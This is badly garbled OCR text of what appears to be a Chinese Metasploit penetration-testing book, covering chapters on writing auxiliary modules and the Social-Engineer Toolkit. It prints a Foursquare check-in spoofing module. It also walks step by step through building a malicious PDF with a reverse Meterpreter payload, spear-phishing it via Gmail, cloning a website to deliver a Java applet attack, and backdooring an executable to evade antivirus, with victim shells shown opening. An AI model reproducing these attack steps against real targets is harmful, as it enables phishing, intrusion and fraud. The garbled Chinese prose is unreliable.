[*] Scanned 10 of 31 hosts (032% complete)
[*] 192.168.4.122 (Apache/2,2.3 (Red Hat)) WebDAV disabled.
[*] Scanned 13 of 31 hosts (041% complete)
[*] 192.168.13.242.251 (Microsoft-1I5/6.0) WebDAV disabled.
[*] 192.168.13.242.234 (Microsoft-115/6.0) WebDAV disabled.
[*] Scanned 16 of 31 hosts (051% complete)
[*] 192.168.8.67 (Microsoft-115/6.0) WebDAV disabled.
[*] Scanned 19 of 31 hosts (061% complete)

© [*] 192.168.6.113 (Microsoft-1I5/5.0) has WEBDAV ENABLED
[*] 192.168.13.242.231 (Microsoft-115/6.0) WebDAV disabled.
[*] Scanned 22 of 31 hosts (070% complete)
[*] 192.168.13.242.249 (Microsoft-I1S/6.0) WebDAV disabled.
[*] Scanned 25 of 31 hosts (080% complete)
[*] 192.168.4,115 (Microsoft-IIS/6.0) WebDAV disabled.
[*] 192.168.8.66 (Microsoft-IIS/6.0) WebDAV disabled.
[*] Scanned 28 of 31 hosts {090% complete)
[*] 192.168.8.68 (Microsoft-I15/6.0) WebDAV disabled.
[*] Scanned 31 of 31 hosts (100% complete)
[*] Auxiliary module execution completed

A PR LLE WL, Ff1 26 HTTP Mg 28 2 B3 WebDAV BT T HIEHFENO, Ffth
HRHE T — &I ZREF e, T Ll niX & FHURIT#— B Ak .

12T MBI AR R AR T2, £ 14 TR AR IUE BB LG5, itk
SHBhAER T RARAM A IRF Fuzz MR E ., — A FESR S LCEOH o L £T0l A k&
Wi-Fi W% ( 4o dos/wifi/deauth A3k ), X b3k 4o B 4F 15 5 & LA 40 4 695 I0HE,

9.2 HHBARREIMT

b BA TR — M8 M B BB RS, XM TS B3 4E Metasploit
MR (R 6 bR ERISER R G R ) XA TR MR8 FH Metasploit HEZEEAT
FRRZAENE N, CHEEBRATEHE S PSR b, M AR K RES B,

#FHiE: AP ¥4 Foursquare & — N T A £ i E2 L0 FIRS ML, CHAFMN
A piBit%® (Check-in) HF XFIMASFHTHMNATAREMLLFEEL, E RMETAR
— A —#47I%, #kH VENUEID. A FH5 35| —R %270 —k g ama, Tl g
SRR —— X FTHFRFF. INFTFFPABOERERTH TRRS,
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HOE Metasploit {FEEIEIR

SeE e di X (Chris Gates) & Metasploit HEZ25 77— “MA” MIHBIE, XHEHE
fAT Twitter 22 T ENGE, MR RUT el BOEERITH RS . XMRRE -8R
Metasploit 14 5 H A IR #1611 . (RBT BULE herp://carnalOwnage. googlecode.com/# B iZ
R A AR

© root@bt:/opt/framework3/msf3# cd modules/auxiliary/admin/
root@bt:/opt/framework3/msf3/modules/auxiliary/admin# wget http://carnalownage.googlecode
.com/svn/trunk/msf3/modules/auxiliary/admin/random/foursquare.rb

BATTHZX MBI EBAEN AR AR F O, LUEREBIE Metasploit HhEH
HE . ALERIMERXABRET, iERNTE - FLEREAR, HHES MRS #,
IXFERATBGES FE X MR IR E THEANE.

require ‘msf/core’

0 class Metasploit3 < Msf::Auxiliary

# Exploit mixins should be called first
L] include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report

Bk AT P ATARBS T T BB (auxiliary class) @, RIGHEMAPHHT
Metasploit HE4E A ) HTTP % P igThEE® .
O def initialize

super
® 'Name' => 'Foursquare Location Poster’,
'Version =» '$Revision:$’',
'Description’ =» 'F*ck with Foursquare, be anywhere you want to be by venue id’',
'Author’ = ['CG"],
'License’ => MSF_LICENSE,
'References’ =>
[

[ "URL', "http://groups.google.com/group/foursquare-api' ],
[ "URL", ‘http://www.mikekey.com/im-a-foursquare-cheater/'],
]
)

#todo pass in geocoords instead of venueid, create a venueid, other tom foolery
register_options(

©0pt: :RHOST( 'api.foursquare.com'),
OptString.new('VENUEID', [ true, ‘foursquare venueid', '185675']), #Louvre
Paris France
OptString.new('USERNAME', [ true, 'foursquare username', 'username']),
OptString.new('PASSWORD', [ true, 'foursquare password', 'password']),
1, self.class)

end
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Metasploit &8 M id 8 &

VRN RO, TAE X T K FAERRK — LR 7 B @, 7E MSF L35 P i\ info
a2, X&FERE R K. EOLERINBRRIEITHERM AN SNSHET TR, HiE
KR ENEMRE RALIHSH. BIIENE, AR EERRSE, S1I0Th6eE kR .
AIADE B A A BIBRAZ B AT, BRATEAE N AT PRAETN A

def run

begin
Quser = datastore['USERNAME']
pass = datastore['PASSWORD']
venid = datastore[ 'VENUEID']
user_pass = Rex::Text.encode_baseb4(user + ":" + pass)
decode = Rex::Text.decode_base64(user_pass)
postrequest = "twitter=1\n" #add facebook=1 if you want facebook

print_status("Base64 Encoded User/Pass: #{user_pass}") #debug
print_status("Base64 Decoded User/Pass: #{decode}") #debug

®res = send_request_cgi({

‘uri’ => "/vi/checkin?vid=#{venid}",
'version' = "1.1",
'method’ =» 'POST',
‘data’ => postrequest,
'headers’ =»
{

"Authorization' => "Basic #{user_pass}",
'Proxy-Connection’ => "Keep-Alive",
}
}, 25)

MEBRMNENB A P SLFRAZH MRS, 2 run BB G R AR — RS,
HAKMANSYLER RRE RSO, I He LT —SHbE %SRG4 send_request_cgi
TEORIRET — M, XA HiERM lib/msficore/exploit/http.rb SANEIHA P, XA 752
XXPEHIThRERR R “ R BIIRS4%, G —MER, K%K, BRERRSSBERMER”
WMABIFR, ERENMTEREZANSY, RN REe % .

Oprint_status("#{res}") #this outputs the entire response. We could probably do
#without this but it's nice to see what's going on.

end

®rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE =>e
puts e.message
end
end

QXSG BRF/EENELEEREKRO. MRBITEREPRESER, EOLY
—BURRACE A EAN, TR ERMEREAE. AT HTE B RN, SR
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¥ 9% Metasploit ENIELR

R EH Metasploit HEZE B2 f0-25 BrTh RE Hel R o ;X FARGFHE R T Metasploit HESZRH)
SRARThAE, ERLXMESGEITIFRN, RAIRATEREN TEFIHEHTHNEMER, AL
RN BEATH R AE B {2 Y 4R IE R SE

ERMNAFXANBHRIZITNEET . WRIFAMCHXMMERE Metasploit H X K 5e B
B, WRUZSHEAT AR

© msf > search foursquare
[*] Searching loaded modules for pattern 'foursquare’...

Auxiliary

Name Rank Description

admin/foursquare normal Foursquare Location Poster

® msf > use admin/foursquare
© msf auxiliary(foursquare) > info

Name: Foursquare Location Poster
Version: $Revision:$
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
CG <cg@carnalOwnage.com>

Basic options:

Name Current Setting Required Description

PASSWORD password yes foursquare password

Proxies no Use a proxy chain

RHOST api.foursquare.com yes The target address

RPORT 80 yes The target port

USERNAME  username yes foursquare username

VENUEID 185675 yes foursquare venueid

VHOST no HTTP server virtual host
Description:

F*ck with Foursquare, be anywhere you want to be by venue id

References:
http://groups.google.com/group/foursquare-api
http://www.mikekey.com/im-a-foursquare-cheater/
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i

%

Metasploit &iE R it35 M

£ EmEE e, HRENIER “foursquare” R FOMGEIRRAIEE, A use e
O IE XML, AR B RIXAMBEIRIENEEO. WEFEPIRENSHIIR, HAIX XA

© msf auxiliary(foursquare) > set VENUEID 2584421
VENUEID => 2584421
msf auxiliary(foursquare) > set USERNAME msf@elwood.net
USERNAME => metasploit
msf auxiliary(foursquare) > set PASSWORD ilovemetasploit
PASSWORD => ilovemetasploit

® msf auxiliary(foursquare) > run
[*] Baseb4 Encoded User/Pass: bXNmQGVsd29vZCSuZXQ6aWxvdmVtZXRhc3Bsb2lo
[*] Base64 Decoded User/Pass: mst@elwood.net:ilovemetasploit
[*] HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Date: 5at, 08 May 2010 07:42:09 GMT
Content-Length: 1400
Server: nginx/0.7.64
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"7>

<checkin><id>40299544</id><created>Sat, 08 May 10 07:42:09 +0000</created><message>0K!
We've got you @ Washington DC Union Station. This is your 1st checkin here!</message>
<venue><id>2584421</id><name>Washington DC Union Station</name><primarycategory»><id>79283</
id><fullpathname>Travel:Train Station</fullpathname><nodenames>Train Station</nodename>
<iconurl>http://foursquare.com/img/categories/travel/trainstation.png</iconurls</primary
category><address»>Union Station</address»<city>Washington</city><state>DC</state><geolat>
38.89777986957695¢/geolat><geolong>-77.0060920715332¢</geolong></ venue><mayor><type>nochange
</type><checkins>4</checkins><user><id>685446</id><firstnamesRon</firstnames<photo>http://
playfoursquare.s3.amazonaws.com/userpix_thumbs/ELOWA4QHXIFBAPWZ, jpg</photos<gender>male</
gender»</user><message>Ron is The Mayor of Washington DC Union Station.</message></mayor>
<badges><badge><id>1</id><name>Newbie</name><icon>http://foursquare.com/img/badge/newbie
.png</icon><description>Congrats on your first check-inl!</description></badge></badges>
<scoringr<scores<points>1</points><icon>http://foursquare.com/img/scoring/2.png</icon>
<message>First stop tonight@</message></score><score><points>5</points><icon>http://
foursquare.com/img/scoring/1.png¢/icon><message>First time @ Washington DC Union Station!</
message></score></scoring></checkin>

T I ATIX A S, BAHE—xF&5H Foursquare A 45 0014 LAsE R F)
(Check-in) #1E. RATE L Google LHEHIB|— A ID (VENUEID) , S & B LF
VENUEID® LA & Foursquare M3 5 5% FiE O@% LS, &5fTH#th. #id Foursquare
MRS R P FIAE BRINER, £ICHK), WHKRET 5 M50,

EAHIH, FA1#E Foursquare [ P4 ARESEEAS T —IRFEE BIFF X B &35 (Washington
DC Union Station) ] “Z3(” (pE 9-1 Frr).

Friday May 7, 2010
3:42 AM Washington DC Union Station
Train Station

B 9-1 mRIhHERE ISR
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¥ 9E Metasploit HiEpiER

51X R ] Foursquare FIIKIT, AT 1IFPEREA BRI HBAE . 3B RA VR
RAIEIS L EN O FI, AP Metasploit JLT-HHEHE.

9.3 /&g

WARET WL, SHEhBEER T LU # 2 9 HI& . Metasploit HEAZHR 4 (B Al 15 i B 9% b PR 7E A
7] P B KB I E S A4 BY T H . {#F Metasploit FBIEEEL, #R 0] AT —A 1P bk o Fi
fradl, WEAEE N PR H & EHL EIs1TRIRS . )5, Okl EUR AT IX 2845 BoR
SEFTERIRTIRS (I WebDAV R E617), Failnd 8 ) 15586 R BIX ARk %48 L.

BARURTT LU FA M BIEE 0 2 SCAOHR B ER, (AR T Metasploit [ 74 BB BIBE 7 -
IR LERR R B D) BETE SK PR IB B U A T AF P B IE AR 5 2R .

MBESIN R T2 BRI E R SPLEF . WT Web MFFRFR UL, HRAT LU 4 Bh AT SR
T2k 40 MR A EAGE . FEEHL TR A EREN —D Web REFHTRIEE, LIk
SEREH IPRCT SCF RA H sk e URAREEN Web IR 95 A8EATH148,  AATIO R IR HERS [a) LI I
e B T IUREE . AR IR R AT A, SBIBURAR I LU RIB L KM R R, B2/
Hrili @A % 2R
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KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

o TH¥TAM (SET) &4 T 5 Social-Engineer.org ¥4 3% [ ¥ & A1 7T 7 A& 19 T B 6.
1X% T AAd 1 Chris Hadnagy Frie Al st v, mAHHI{E# 2 — David Kennedy 323, Social-engineer.org
PRI EE PR T3S T2 R, HRUH . T ARE R TR, B HBREEARY
Bl AR B AL & TR2EHTT.

SET M HEESAMNEFEN AT Z AR, BERKFKEMREFEHLSTIEZ . &L
AGHWOHE F& 100 2R, MLELENAHFLEHS TRFEEHRFHE. SET B6E
AMIASHFEMF A, FAANKEFE. FE ABULSBEAER. 2 TRYHE
HELRATERE SR, AN HSE ™ E R —Fh Bt 7 .
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Metasploit ;&i%0i%$5 g

TR, Mo TR%EIFFEFEY, (ERE—A NN AL 2 M AR MR FHYE, AT
BEAS SRR, €8 RTE AN NS THRZFRAR R T &Ll —, B
Rtk TR 2 BGHR S B B TE . (FRA] BRI C T 7E M B AR “ Aurora” M3
i, B HERERA T i & TR¥YHA RS E Gmail LUK HAb Google i 1),

Byt 1) B8R A R IR M5 B ERIAR 5 BR SV M ALK IR . SET W id Bk () B Sfeond Bradi k4T
S (Bl BT Web B, BT E-mail MBGERET USB X di). EFIHE THH.
P 0T A R FoAth eE & Budi H bR, IR MR AEFES BN A ENL, BREEE HAR AR BURE R
TR, BN ) B RS R S R B AR E MR 0L LA B8 15y B AS R T B2 5« SET
(RIS th SCRFFRACHE ST E-mail 55 W GOEBHR, IXSeRUR AT LU s R SR ATH & TR . SET
sht KB T Metasploit HEARFTHLAEHI5R A BE 1)

HTFASTRFEG EARRRALS B, AZNEFNTFHLE - MREHSEG RS
AT 5 B AR

101 ECESET I RS

7 Back Track 7, SET T.EALBRIN 37 pentest/exploits/SET H&F . ZEHRBINZEFZ
A, BRI RBFRAN SET GEE I FTH4HTER).

root@bt:/pentest/exploits/set# svn update

EHEEUE, RIERE AT RS SET BB 0. RAVEA ) LA 5 i ie B eI,
7E SET T RAR H % T W config/set_config ST .

WEBATTACK_EMAIL 7 i K47 IRTE Web Biiti i) R & A AT M0A-49 @ Ky, X MRk
TRERA R KPR, XK fEOK AL B ZE1E ) Web s ) BB RS S B ERAF 49 f8 .

METASPLOIT_PATH=/opt/framework3/msf3

WEBATTACK_EMAIL=ON

Java applet B & SET 3R] — A+ Web B 73X, {#H B 24 (# Java applet F2%
KIS B s R AR HE, AT EET. FERIAVER T, XREd AR A S LR
i, M, WRAREPZIET Java FRTRE UDK) , #RATLUTFFX AR, HERETE
Y FHKXT applet HEATREE o HIRITFHZE AT, — Al B iR TU SR8 O IR,

SELF_SIGNED APPLET=ON

H3K# (AUTO_DETECT) IEHR SET BMEEMRHZ —, 3 HBR AR FFR. ZEm
FTIT /G643 SET REWSHY 3 B Fr7E 1 HLA TP Mtk Zahb wT LA % 2 82 H A Hubk 50 Web
AR5 238 bk . G RARAE R 2N RIS O, SfE I ROBE B R AT IR A T 5 A 1P Hudtk,
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108 #HSIRF¥IAS

WAMRFTERMIXA L. KAZENG, SET FEMRIEEE EVUE TR ET R, Kk
% 1P HALAE R A R MIESE, Bl M RESR T NAT Mg DAL HIRE. XERES
BT RMETIE SET g rha] LUF 2.

AUTO_DETECT=OFF

248 B TR REE, BRIANS{EAET Python 22 KN Web RS . b TIRALIRS T
fE, T5EIE apache server ¥EIHIT/E, SET ¥ 41l Apache R4 34T Hidi.

APACHE _SERVER=0ON

PLEIX SR R AR ECE R I . EARFTE SN, RATUIERE T EREL R ETRA
FBRUIETIOR % SET FIME T A . fEMER BiEM 2 G, HAERITSET TAE.

10.2 $HXMHBREHEE

B £ 48 B () B R BR AL 1 B SO IR TRVE B G (BlAnF A Adobe PDF Jif#Y
BB, FEEE AR AR TR, A SBEREE S ROXE| BARENL, SHEE
BUEIR ST TR IR OB, H AR EHUR S b A . SET {3 HI M S0 A4 B 6 (SMTP)
HFFBUACEL (B & R R AUERYD ). Gmail 1 Sendmail R &ZIXMEA: . SET IR i FbrAE LT
BRAERIZE T HTML #2059 i 7l R R sh Pt Uik .

AR T LL xyz A BN HARHAT — K EFR B BRI AT DUEM— AR xyz 2
A KR E, Bl coompanyxyz.com, PRI LAFE ~MHEMIEL FEM--ATFEHE,
com.panyxyz.com. T3, VREFX] HARALURIE — S5 MR A BRI, FEE —F, £X
LHAF AT REH W, RERSITITHEAFEUSER M. EXAE 7, B
W REFEIZBEISH) PDF #0302 B b5 EHL, WTFHR:

root@bt:/pentest/exploits/set# ./set

Select from the menu:

Spear-Phishing Attack Vectors
Website Attack Vectors

Infectious Media Generator

Create a Payload and Listener

Mass Mailer Attack

Teensy USB HID Attack Vector

SMS Spoofing Attack Vector
Wireless Access Point Attack Vector
Third Party Modules

L= - I - RV - P S
o+ r a2 o+ = % %
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i

%

Metasploit ;&iE ML 15 f

10. Update the Metasploit Framework
11. Update the Social-Engineer Toolkit
12. Help, Credits, and About

13. Exit the Social-Engineer Toolkit

Enter your choice: 1

Welcome to the SET E-Mail attack method. This medule allows you

to specially craft email messages and send them to a large (or small)
number of people with attached fileformat malicious payloads. If you
want to spoof your email address, be sure "Sendmail" is installed (it
is installed in BT4) and change the config/set_config SENDMAIL-OFF flag
to SENDMAIL=ON.

There are two options, one is getting your feet wet and letting SET do
everything for you (option 1), the second is to create your own FileFormat
payload and use it in your own attack. Either way, good luck and enjoy!

1. Perform a Mass Email Attack

2. Create a FileFormat Payload

3. (reate a Social-Engineering Template
4. Return to Main Menu

Enter your choice: 1

Select the file format exploit you want.
The default is the PDF embedded EXE.

kEREEERKER PAYLOADS FkE Rk ok

SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
SET Custom Written Document UNC LM SMB Capture Attack
Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow
Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087)
Adobe Flash Player 'Button’ Remote Code Execution
Adobe CoolType SING Table 'uniqueName' Overflow
Adobe Flash Player 'newfunction® Invalid Pointer Use
Adobe Collab.collectEmailInfo Buffer Overflow
Adobe Collab.getIcon Buffer Overflow

. Adobe JBIG2Decode Memory Corruption Exploit

. Adobe PDF Embedded EXE Social Engineering

. Adobe util.printf() Buffer Overflow

13. Custom EXE to VBA (sent via RAR) (RAR required)

14. Adobe U3D CLODProgressiveMeshDeclaration Array Overrun

15. Adobe PDF Embedded EXE Social Engineering (NOJS)

16. Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow

17. Nuance PDF Reader v6.0 Launch Stack Buffer Overflow

el R R B = Y, I STV W
[ T =

Enter the number you want (press enter for default): 8

Spawn a command shell on victim and send back to
attacker.

2. Windows Meterpreter Reverse_TCP Spawn a meterpreter shell on victim and send back

to attacker.

1. Windows Reverse TCP Shel
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i

%

F10HE HZTITESIARG

3. Windows Reverse VNC DLL Spawn a VNC server on victim and send back to
attacker.

4. Windows Reverse TCP Shell (x64) Windows X64 Command Shell, Reverse TCP Inline

S. Windows Meterpreter Reverse TCP (X64) Connect back to the attacker (Windows x64),
Meterpreter

6. Windows Shell Bind_TCP (X64) Execute payload and create an accepting port on
remote system.

7. Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use
Meterpreter.

O Enter the payload you want (press enter for default):
[*] Windows Meterpreter Reverse TCP selected.
Enter the port to connect back on (press enter for default):
[*] Defaulting to port 243...
[*] Generating fileformat exploit...
[*] Please wait while we load the module tree...
[*] Started reverse handler on 10.10.1.112:443
[*] Creating 'template.pdf’ file...
[*] Generated output file /pentest/exploits/set/src/program_junk/template.pdf
[*] Payload creation complete.
[*] All payloads get sent to the src/msf_attacks/template.pdf directory
[*] Payload generation complete. Press enter to continue.

As an added bonus, use the file-format creator in SET to create your attachment.
Right now the attachment will be imported with filename of 'template.whatever®
Do you want to rename the file?

example Enter the new filename: moo.pdf

® 1. Keep the filename, I don't care.
2. Rename the file, I want to be cool.

Enter your choice (enter for default): 1
Keeping the filename and moving on.

i SET M54, &+ Spear-Phishing Attack Vectors®, %4353 perform a mass
email attack® . ;XA T Abobe PDF () Collab.collectEmaillnfo J&7H @, 2R\ ¥ Metasploit
1 [ Meterpreter [z [7] B i 8k 77 @ in#L £ PDF 449 . Collab.collectEmaillnfo 5 —/~H %5 1 I I,
WRITIF (B b5 312 %e /) Abobe Acrobat A fF7EM IR PDF J2%, -4 Meterpreter
Pl EEERBGEENIR 443 W0, 1% OZELEA 2 B 2 bl B B I BERR .

[Nt SET & A WEGEFH B PDF WSUF4, EAEEARSI L. ERINKZRED, UL
W8 HBY, BTUUER T B4 8 PDF SCH: (remplate.pdf) ©.

Social Engineer Toolkit Mass E-Mailer

There are two options on the mass e-mailer, the first would

be to send an email to one individual person. The second option
will allow you to import a list and send it to as many people as
you want within that list.
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Metasploit &% NiX 1/

What do you want to do:
0 1. E-Mail Attack Single Email Address

2. E-Mail Attack Mass Mailer
3. Return to main menu.

Enter your choice: 1

Do you want to use a predefined template or craft
a one time email template.

® 1. Pre-Defined Template
2. One-Time Use Email Template

Enter your choice: 1
Below is a list of available templates:

1: New Update
2: Computer Issue
3: Strange internet usage from your computer
4: LOL...have to check this out...
® 5: Status Report
6: Pay Raise Application Form
7: WOAAAAIIINIITINY This is crazy...
8: BasketBall Tickets
9: Baby Pics

10: Have you seen this?
11: Termination List
12: How long has it been?
13: Dan Brown's Angels & Demons
Enter the number you want to use: §
© Enter who you want to send email to: ihazomgsecurity@secmaniac.com

What option do you want to use?

1. Use a GMAIL Account for your email attack.
2. Use your own server or open relay

Enter your choice: 1
@ Enter your GMAIL email address: fakeemailaddy@gmail.com
Enter your password for gmail (it will not be displayed back to you):

SET has finished delivering the emails.

T, WAVEFAT A BB AT @, KF SET Z 04 i PDF SCAF A BB 4B 44,
e B —ANSE & XA SET BE{- 447 @ “Status Report” @. FAlik SET f#H—4> Gmail K/
@ N HHHRfEHshlE  (ihazomgsecurity@secmaniac.com) @F ik 3.
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F10E #SIRFIARE

)5, BUE Metasploit ST O A R MW B R AT R IER:O. 24 SET JA 3 Metasploit ]
mHE, COLEETHALERER, HHRemmFTs 2o 1P RaEET 443 OO,
IE G BATTZ A B RC BRI ARFE -

© Do you want to setup a listener yes or no: yes

resource (src/program_junk/meta_config)> use exploit/multi/handler
resource (src/program_junk/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (src/program_junk/meta_config)> set LHOST 10.10.1.112
LHOST => 10.10.1.112
resource (src/program_junk/meta_config)> set LPORT 443
LPORT => 443
resource (src/program_junk/meta_config)> set ENCODING shikata_ga nai
ENCODING => shikata ga_nai
resource (src/program_junk/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.
@ [*] Started reverse handler on 10.10.1.112:443
[*] Starting the payload handler...
msf exploit(handler) >

AR R SF B2 X HEAE ihazomgsecurity@secmaniac.com RIBGE, ik T — A1 0R4 & %
¢S HiR, FH T PDF SUHHWA . SET R BGE& QB ARIMEER, H BAERN XFHFHEFA.
U HBRAT I BB H X AR B iR, Ba& EIWE 10-1 BT RAME R

4

10-1 i3 PDF L8 HARELA
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Metasploit &% iX&R

HARF P 4T FF R A A A4 PDF S, SibRI B AR BN L AR 6l FEBGE K, 1R
SHBWTER:

[*] Started reverse handler on 10.10.1,112:443

[*] Starting the payload handler...

msf exploit(handler) > [*] Sending stage (748032 bytes) to 10.10.1.102
[*] Meterpreter session 1 opened (10.10.1.112:443 -> 10.10.1.102:58087)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell

Process 2976 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Bob\Desktop>

XA F A T R B B ROR UG T — & HARENL.. B SET RN th3CHF “BF
RERFEE” BT, Hoai v LA rT AR E A A R I B R, RERAL SET A A
B TS G A ) B ARAR

10.3 Web I &R E

Web B [l 8 A W AE L SET H B 5eilb M & AXNE RS, BV E SR EMIEH — 23] B 5
s RAEERAERSMM . SET AT LASeRE H A S pRiaAT (] f5 3l E R se 4 —FE AT
W, XAERZEFEE N AMIIEAREN K aikE T,

10.3.1 Java Applet

Java applet Biti & SET w8 e Th i) Briki () it 2 —, X4 applet & SET {47 FF & #& Thomas
Werth FrEIEE M . B SIN T %% Java applet 72/ 71T 8 GEAL I W 23 K0 A, #AER applet RETE
BRI W ERIZTT, RNEETE AR EVIEITBEERT . Java applet B A #IA A& Java
AGWRE, 2 HARN BRI R, MIISEE NS, MbREREET—
NABAEIEN Java applet. B4 Java SOVFRXS—/ applet AL R FHATES, /RATLARE
H) R A& & Google. Microsoft BIALIRPTIEFER F1F & . WL set_config X4, HH
WEBATTACK_EMAIL #7:ERLFF /R, AR AT EAZERE &R R4 o 5] AX M T .

iEBRATIE — A E St A R B——xF D E 1000 SRV PEEHBENR. Bk, hE—
AN FZ AR 5B B AR LR A R EEATEM . 3K, BGl## I Metasploit ) harvester BEERTE
HECM EIRRER A @<company>.com RIHE{F#bE. ZEAILM LT T 200 NER{F#AEZ f5,
R ABER M ARG REFIX 200 MIFZ . B SR E T AR MEGEHET], FEXK

142

24 W WwW. 176K u.CoM



T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

108 #HEIEFIRE

AR ATH AR R FIHM . fEE A S MMEARES, FFHERRER T b
B, A UEAR N EESACKESA, FMITEAAR G TR 2T 8 T IE &
FAIERS . dFar IR S N AN HARF A L ) i R S B R R

TEHH P i 2 i, — Java applet SANHESE T oK, 3 E7R1% Java applet J& Hi%
NE LR, BT ZEFELUE - NEERF, BSOS EET SRR R, XMy
SHPATHALE N EIR A T i b M U %R Java applet. REH P WHERMBIIGEB A, i
TR R AT LAF BN EUVER P, [F R A R RE 8 O EN L $). 24 B br sl Java
applet 228 S HEP FLET R G, — DB AT & WIAT, Bdi HH L1555 =ML shell.
— BREHEARIIIAT, BFRFIURESBES B AZEME F, DMRFEH AR5 R,

SET ] LATE K — I 31 B 08 A8 2 3L o 080 43 P 28, 3R 25 H A FHT 7 (] 33K 26 ) T2 Ay 1%,
MRERR BRI R A PSSR A X 5. B R4, ATl LIE £ SET & W] 76 Pt o 45
Chttp:/twww.secmaniac.com) 38X

root@t:/pentest/exploits/set# ./set

Select from the menu:
© 2. Website Attack Vectors
Enter your choice: 2
® 1. The Java Applet Attack Method
Enter your choice (press enter for default): 1

The first method will allow SET to import a list of pre-defined
web applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.
The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.
[!] Website Attack Vectors [!]
1. Web Templates

© 2. Site Cloner

3. Custom Import
4. Return to main menu

Enter number (1-4): 2
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Metasploit ;&i%E 118/

SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite,com
® Enter the url to clone: http://www.secmaniac.com

[*] Cloning the website: http://www.secmaniac.com

[*] This could take a little bit...

[*] Injecting Java Applet attack into the newly cloned website.
[*] Filename obfuscation complete. Payload name is: 0xvV3cYfbLBI3
[*] Malicious java applet website prepped for deployment

FaIX kK dIA %, RATM SET X B PikH T Web R 1RO, £/ Java applet K
FHEO, FINETFERMPIEFMIGEEOMN TR . )5, ¥ SET MEEENMERZ0.

what payload do you want to generate:

Name : Description:

2. Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and sei
back to attacker.

© Enter choice (hit enter for default):
Below is a list of encodings to try and bypass AV,
Select one of the below, 'backdoored executable' is typically the best.
16. Backdoored Executable (BEST)

® Enter your choice (enter for default):
[-] Enter the PORT of the listener (enter for default):

[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
[-] Backdoor completed successfully. Payload is now hidden within a legit executable.

ok s ook sk koo s ook sk ook sk e ok ok o kR RE Ak ek

Do you want to create a Linux/0SX reverse_tcp payload
in the Java Applet attack as well?

kst ok ok S s s oo sk ok ok o sk R R R Rk o KR ok K R R o K

Enter choice yes or no: no

e sk sk o oo S o o sk s o ek o s R Sk s e oR s R ok R kR ok ok ok ok

Web Server Launched. Welcome to the SET Web Attack.

e e e e ok e ke ek ek ok ek o ok ok *k

[--] Tested on IE6, IE7, IE8, Safari, Chrome, and FireFox [--]

[*] Launching MSF Listener...
[*] This may take a few to load MSF...
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$10¥E HEIEFIRE

Y SET th HAb Tt A —HE, i w LUE SR AL T84T, BRIAR) Meterpreter S [
HHEOEE R A AR, EXARE SRS, kR AR E] R O f R, K
di& o UL AR A ET® . EFTARE TS, SET J33) Metasploit:

resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.

© [*] Started reverse handler on 10.10.1.112:443
[*] Starting the payload handler...
msf exploit(handler) >

Set ¥ T metasploit [ L EIETR, BJSE 443 i 5 4F meterpreter M@ .

BR: ROZ24ET —AAKT hitp//www.secmaniac.com/M T &5 Web R 8, Rk
5 2B B XM #7F B8 T WEBATTACK _EMAIL, SET £R® TR A4s4aEaE, HXL
T — sk dnf,

BLte, — VIR, #RAEREHIEHARA P REIBIREMN T L. SR ERXAMTE, H
FRAE B A KR A B RAE, W 10-2 B, W BARR S SIS TS AR, T
HAKEH AR ML AM BARGHEMARSET, HRESEE B R EVRESIEG

$87K: SET A& F 1 MAETAR M 6.8 F 2} Java Applet &%, % B 475 HESTHF o
HERAIATE, B Areh3) B €A & 2|43 49 secmaniac M35 £,

SEC

Warning - Security %
The application’s digital signature cannot be verified.
Do you want to run the application?

Narme: Java
Publisher: Microsoft
Frome: hetp:ff172.16.32.157

] i st coritent from this poblisher ]

(o) (=)

The digial signsture cannol be verfiad by & brusted source. Only
@ run # you trust the origin of the spplication. Hors Infortmen...

B 10-2  Java Applet B HIE
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

b

%

Metasploit &% Nt 1E &

[E 2 RA TR B L, Meterpreter Bk 438 D RINE L, TATBLZERT LUE T FrosmiAieE
HKVTE BAREN T .

msf exploit(handler) > [*] Sending stage (748032 bytes) to 10.10.1.102
{*] Meterpreter session 1 opened (10.10.1.112:443 -> 10.10.1.102:58550)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

shellmeterpreter » shell

Process 2800 created.

